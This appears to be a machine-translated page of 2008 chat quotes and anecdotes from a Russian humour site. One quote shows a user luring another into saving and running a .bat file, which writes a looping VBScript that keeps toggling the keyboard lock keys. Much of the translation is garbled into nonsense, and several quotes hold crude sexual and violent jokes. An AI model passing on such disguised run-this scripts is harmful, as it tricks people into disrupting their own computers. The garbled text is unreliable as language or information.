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[ + 60 - ] Comment quote №1486
 04.02.2008
1 of O! It is great! I'll have a day tomorrow, will you go to the shelter?
2nd Blind! With pleasure!
This is great :) Now we are provided with meat.
2 in the meaning?
The 1st :)

[ + 42 - ] Comment quote №1485
 04.02.2008
People! 1 change the future!! We all go to elections and don’t vote for the bears!!! to

[ + 61 - ] [1 Комментарии к цитате] Comment quote №1484
 04.02.2008
Yyy: Hi My Rabbit  insert this text in the txt document, in the extension put.bat open it and you will see your fate!!! to

echo Chr(39)>%temp% emp1.vbs
echo Chr(39)>%temp% emp2.vbs
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echo Set S = CreateObject("Wscript.Shell") >> %temp% emp.vbs
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echo do >> %temp% emp.vbs
echo wscript.sleep 200 >> %temp% emp.vbs
echo s.sendkeys"{capslock}" >> %temp% emp.vbs
echo wscript.sleep 200 >> %temp% emp.vbs
echo s.sendkeys"{numlock}" >> %temp% emp.vbs
echo wscript.sleep 200 >> %temp% emp.vbs
echo s.sendkeys"{scrolllock}" >> %temp% emp.vbs
echo loop>> %temp% emp.vbs
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Xxx: Hi, I’ll do it ?
Xxx: T1
Xxx: What is HNA?
Xxx: T1 and T1
XXX I will kill you.
Xxx is me.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Yyy: he-he-he-he)))

nickname (19:52:31 2/02/2008)
It is blue!!!! How do you get rid of that shit?!!!! to

StormPetrel (19:53:12 2/02/2008)
and the

BRABUS: MLA can’t be put on the basement that way!!!! And it does.

[ + 56 - ] Comment quote №1483
 04.02.2008
I walk in the street, in front of a 4-year-old boy with my mother. He points somewhere with his finger (somewhere beyond the corner, I don’t see it) and beats hysterically: “MOM! Buy it up!Mom with a strange expression of the face says she won’t buy. I get closer and see behind the corner a man with a gasoline.
The hysteria started with me.)

[ + 46 - ] Comment quote №1482
 04.02.2008
Ir4ik: Why are you so acidic?
nata: Do you remember my friend Irina, and what did I have at DR?
Ir4ik: Well...
Nata: I recently gave birth to my daughter. My girlfriend is pregnant in the third month.
ir4ik: so what?? to
I don’t, but I’m 27!! What should I do???? to
ir4ik: you, it... don’t communicate with them, it’s, go, contagious.

[ + 45 - ] Comment quote №1481
 04.02.2008
Comrade admin, make the inscription "and further" a little smaller, or I’m already burning...

[ + 63 - ] Comment quote №1480
 04.02.2008
Consultation before the exam:
<prepod>: Even if you don’t know the correct answer, say at least some hernia. Only warn me, that I may have time to command myself - stumble, Vasily Pavlovich, the shit is flying!

[ + 48 - ] Comment quote №1479
 04.02.2008
Meeting with the participation of the employer
"And when we hinted on the additional payment in connection with the change of TZ he cried as if his herd of pederastes was catching..."

[ + 56 - ] Comment quote №1478
 04.02.2008
A two-story penthouse of 278 square meters in New York City, once owned by singer Frank Sinatra, is on sale at a price slightly more expensive than a panel shell in Moscow.

[ + 45 - ] Comment quote №1477
 04.02.2008
Our corporate customer manager talks, as it turned out, by phone, quite seriously:
Listen to this Cronstein who came, you know where he came! I will tell where! Shut it down... yeah, in the same order that was yesterday I dropped it down to you...
At this time, the whole floor was shut up listening to where it is necessary to move Cronstein))))

[ + 41 - ] Comment quote №1476
 04.02.2008
Sander: If you saw a dirty bed at home, an empty bottle of wine with two fusies, and a packet of Gandons in the garbage, would you believe it was a coincidence?
Gaga: No...
Sander: They don’t believe me either. For the first time in my life, I proved that I was a bad guy, not a cowboy.

[ + 53 - ] Comment quote №1475
 04.02.2008
Alfi
A 21-year-old child urgently needs a beautiful defka, a blonde (or brunette) with a very rare breast size: the fourth. The mind factor is negative.
<< Ask to send out! This is NOT SPAM!

Night kiss
Have a negative Rh blood?

Alfi
Buagagagaga
I approached)

[ + 55 - ] Comment quote №1474
 04.02.2008
by Lotoss (02:26)
I have an exam tomorrow (I don’t have an exam).
by Eric Knox (02:27)
Well let me come to you after the exam, I'll do a massage))) I'll warm up at night...
by Eric Knox (02:54)
Do you know how to say "No" more softly?
by Lotoss (02:55)
Answer "No" And the lights are turned off...But what do I do if it’s love?
by Eric Knox (02:55)
Is it Timothy?
Thessaloniki (02:56)
Apparently yes.
by Eric Knox (02:57)
Better you sent me to the shit.

[ + 58 - ] Comment quote №1473
 04.02.2008
The xxx:
I saw an amazing picture today.)
The xxx:
Next to the neighbor's house for a long, 20 minutes, the man walked, guess what?
The xxx:
With a facelift! ) On the street! )
YYYY :
And why? Baptism by fire?
The xxx:
I watched him in the target for 15 minutes, then he disappeared from the zone of sight.
YYYY :
Maybe the aura cleansed.)
The xxx:
But he escaped when he saw an unbarred man who, with a squeezed expression of the face, observed him from the balcony through an optical target twisted to the rifle.)))

[ + 63 - ] Comment quote №1472
 04.02.2008
Do you know how to swing?
No is
Fuckily
I know fucking.

[ + 61 - ] Comment quote №1471
 04.02.2008
If you don’t satisfy me, I’ll take a mistress.
YYY: Then I’ll buy a shotgun and smash you both!
xxx: a long, ridiculous and painful death

[ + 45 - ] Comment quote №1470
 04.02.2008
From the discussion of the photo in the questionnaire of the girl in the swimsuit:

Anker: Will the man get such a beauty?
Jason JP Born: The Earth

[ + 66 - ] Comment quote №1469
 04.02.2008
I put 11 pairs of socks in the washing machine. I got 11 pairs of socks. What did I do wrong?"
I forgot to post.

[ + 64 - ] Comment quote №1468
 04.02.2008
Where do you live now?
ValenoK: near the cosmodrome
Poker: Where is it?! to
STOP, what year is this? 0 - O

[ + 47 - ] Comment quote №1467
 04.02.2008
Evgeny
I broke the jeans.
4th of-
Your jeans are bad.
4th of-
You have a good
Evgeny
Fuck, I’m training, I’m training, and my ass grows.
4th of-
I envy you!I have a shit because it doesn’t grow.
Evgeny
Are you chasing? That is cool...
4th of-
The caterpillar loves the meat bats.
4th of-
Aha!I understood that our ass means that they are connected by a metaphysical chain.
4th of-
Your ass is stealing meat from mine.! to
Evgeny
Let’s break it...
4th of-
“Megashok!”! to
Evgeny
chain
Evgeny
Not the ass.

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